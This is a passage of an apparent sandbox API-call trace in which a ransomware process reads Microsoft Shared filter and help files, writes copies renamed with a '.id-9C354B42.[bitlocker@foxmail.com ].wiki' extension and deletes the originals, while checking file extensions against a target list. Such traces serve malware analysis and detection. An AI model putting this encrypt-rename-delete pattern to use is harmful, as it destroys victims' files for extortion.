"c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0063.729] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=73080) returned 1 [0063.729] CloseHandle (hObject=0x1f8) returned 1 [0063.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0063.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0063.729] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.729] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0063.730] GetLastError () returned 0x0 [0063.730] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x11d78, lpOverlapped=0x0) returned 1 [0063.732] WriteFile (in: hFile=0x234, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0063.735] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.735] WriteFile (in: hFile=0x234, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.735] SetEndOfFile (hFile=0x234) returned 1 [0063.735] CloseHandle (hObject=0x234) returned 1 [0063.736] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.736] SetEndOfFile (hFile=0x1f8) returned 1 [0063.737] CloseHandle (hObject=0x1f8) returned 1 [0063.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.737] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0063.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.737] lstrlenW (lpString=".doc") returned 4 [0063.737] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.737] lstrlenW (lpString=".docx") returned 5 [0063.737] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.737] lstrlenW (lpString=".pdf") returned 4 [0063.737] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.737] lstrlenW (lpString=".xls") returned 4 [0063.737] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.737] lstrlenW (lpString=".xlsx") returned 5 [0063.738] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.738] lstrlenW (lpString=".ppt") returned 4 [0063.738] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.738] lstrlenW (lpString=".zip") returned 4 [0063.738] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.738] lstrlenW (lpString=".rar") returned 4 [0063.738] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.738] lstrlenW (lpString=".bz2") returned 4 [0063.738] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.738] lstrlenW (lpString=".7z") returned 3 [0063.738] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.738] lstrlenW (lpString=".dbf") returned 4 [0063.738] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.738] lstrlenW (lpString=".1cd") returned 4 [0063.738] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.738] lstrlenW (lpString=".jpg") returned 4 [0063.738] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.738] lstrlenW (lpString=".doc") returned 4 [0063.738] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.738] lstrlenW (lpString=".docx") returned 5 [0063.738] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.738] lstrlenW (lpString=".pdf") returned 4 [0063.738] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.738] lstrlenW (lpString=".xls") returned 4 [0063.738] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.738] lstrlenW (lpString=".xlsx") returned 5 [0063.738] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.738] lstrlenW (lpString=".ppt") returned 4 [0063.738] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.739] lstrlenW (lpString=".zip") returned 4 [0063.739] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.739] lstrlenW (lpString=".rar") returned 4 [0063.739] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.739] lstrlenW (lpString=".bz2") returned 4 [0063.739] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.739] lstrlenW (lpString=".7z") returned 3 [0063.739] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.739] lstrlenW (lpString=".dbf") returned 4 [0063.739] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.739] lstrlenW (lpString=".1cd") returned 4 [0063.739] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0063.739] lstrlenW (lpString=".jpg") returned 4 [0063.739] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.739] lstrcmpiW (lpString1=".FLT", lpString2=".wiki") returned -1 [0063.739] lstrlenW (lpString="PNG32.FLT") returned 9 [0063.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0063.739] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=302976) returned 1 [0063.739] CloseHandle (hObject=0x1f8) returned 1 [0063.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0063.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0063.740] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.740] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0063.740] GetLastError () returned 0x0 [0063.740] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0063.755] WriteFile (in: hFile=0x234, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0063.760] ReadFile (in: hFile=0x1f8, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.760] WriteFile (in: hFile=0x234, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.760] SetEndOfFile (hFile=0x234) returned 1 [0063.761] CloseHandle (hObject=0x234) returned 1 [0063.761] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.761] SetEndOfFile (hFile=0x1f8) returned 1 [0063.764] CloseHandle (hObject=0x1f8) returned 1 [0063.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.764] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0063.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.764] lstrlenW (lpString=".doc") returned 4 [0063.764] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.764] lstrlenW (lpString=".docx") returned 5 [0063.764] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.764] lstrlenW (lpString=".pdf") returned 4 [0063.764] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.764] lstrlenW (lpString=".xls") returned 4 [0063.764] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.764] lstrlenW (lpString=".xlsx") returned 5 [0063.764] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.764] lstrlenW (lpString=".ppt") returned 4 [0063.764] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.765] lstrlenW (lpString=".zip") returned 4 [0063.765] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.765] lstrlenW (lpString=".rar") returned 4 [0063.765] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.765] lstrlenW (lpString=".bz2") returned 4 [0063.765] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.765] lstrlenW (lpString=".7z") returned 3 [0063.765] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.765] lstrlenW (lpString=".dbf") returned 4 [0063.765] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.765] lstrlenW (lpString=".1cd") returned 4 [0063.765] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.765] lstrlenW (lpString=".jpg") returned 4 [0063.765] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.765] lstrlenW (lpString=".doc") returned 4 [0063.765] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.765] lstrlenW (lpString=".docx") returned 5 [0063.765] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.765] lstrlenW (lpString=".pdf") returned 4 [0063.765] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.765] lstrlenW (lpString=".xls") returned 4 [0063.765] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.765] lstrlenW (lpString=".xlsx") returned 5 [0063.765] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.765] lstrlenW (lpString=".ppt") returned 4 [0063.765] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.765] lstrlenW (lpString=".zip") returned 4 [0063.765] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.765] lstrlenW (lpString=".rar") returned 4 [0063.766] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.766] lstrlenW (lpString=".bz2") returned 4 [0063.766] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.766] lstrlenW (lpString=".7z") returned 3 [0063.766] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.766] lstrlenW (lpString=".dbf") returned 4 [0063.766] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.766] lstrlenW (lpString=".1cd") returned 4 [0063.766] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0063.766] lstrlenW (lpString=".jpg") returned 4 [0063.766] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.766] lstrcmpiW (lpString1=".FLT", lpString2=".wiki") returned -1 [0063.766] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0063.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.938] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=280448) returned 1 [0063.938] CloseHandle (hObject=0x200) returned 1 [0063.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0063.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.938] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.938] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0063.939] GetLastError () returned 0x0 [0063.939] ReadFile (in: hFile=0x200, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x44780, lpOverlapped=0x0) returned 1 [0063.946] WriteFile (in: hFile=0x21c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x44790, lpOverlapped=0x0) returned 1 [0063.951] ReadFile (in: hFile=0x200, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.951] WriteFile (in: hFile=0x21c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.951] SetEndOfFile (hFile=0x21c) returned 1 [0063.952] CloseHandle (hObject=0x21c) returned 1 [0063.952] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.952] SetEndOfFile (hFile=0x200) returned 1 [0063.955] CloseHandle (hObject=0x200) returned 1 [0063.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.955] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0063.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.955] lstrlenW (lpString=".doc") returned 4 [0063.955] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.955] lstrlenW (lpString=".docx") returned 5 [0063.955] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.955] lstrlenW (lpString=".pdf") returned 4 [0063.955] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.955] lstrlenW (lpString=".xls") returned 4 [0063.955] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.955] lstrlenW (lpString=".xlsx") returned 5 [0063.955] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.955] lstrlenW (lpString=".ppt") returned 4 [0063.955] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.956] lstrlenW (lpString=".zip") returned 4 [0063.956] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.956] lstrlenW (lpString=".rar") returned 4 [0063.956] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.956] lstrlenW (lpString=".bz2") returned 4 [0063.956] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.956] lstrlenW (lpString=".7z") returned 3 [0063.956] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.956] lstrlenW (lpString=".dbf") returned 4 [0063.956] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.956] lstrlenW (lpString=".1cd") returned 4 [0063.956] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.956] lstrlenW (lpString=".jpg") returned 4 [0063.956] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.956] lstrlenW (lpString=".doc") returned 4 [0063.956] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0063.956] lstrlenW (lpString=".docx") returned 5 [0063.956] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0063.956] lstrlenW (lpString=".pdf") returned 4 [0063.956] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0063.956] lstrlenW (lpString=".xls") returned 4 [0063.956] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0063.956] lstrlenW (lpString=".xlsx") returned 5 [0063.956] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0063.956] lstrlenW (lpString=".ppt") returned 4 [0063.956] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0063.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.956] lstrlenW (lpString=".zip") returned 4 [0063.957] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0063.957] lstrlenW (lpString=".rar") returned 4 [0063.957] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0063.957] lstrlenW (lpString=".bz2") returned 4 [0063.957] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0063.957] lstrlenW (lpString=".7z") returned 3 [0063.957] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0063.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.957] lstrlenW (lpString=".dbf") returned 4 [0063.957] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0063.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.957] lstrlenW (lpString=".1cd") returned 4 [0063.957] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0063.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0063.957] lstrlenW (lpString=".jpg") returned 4 [0063.957] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0063.957] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0063.957] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0063.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.958] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1831424) returned 1 [0063.958] CloseHandle (hObject=0x200) returned 1 [0063.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft 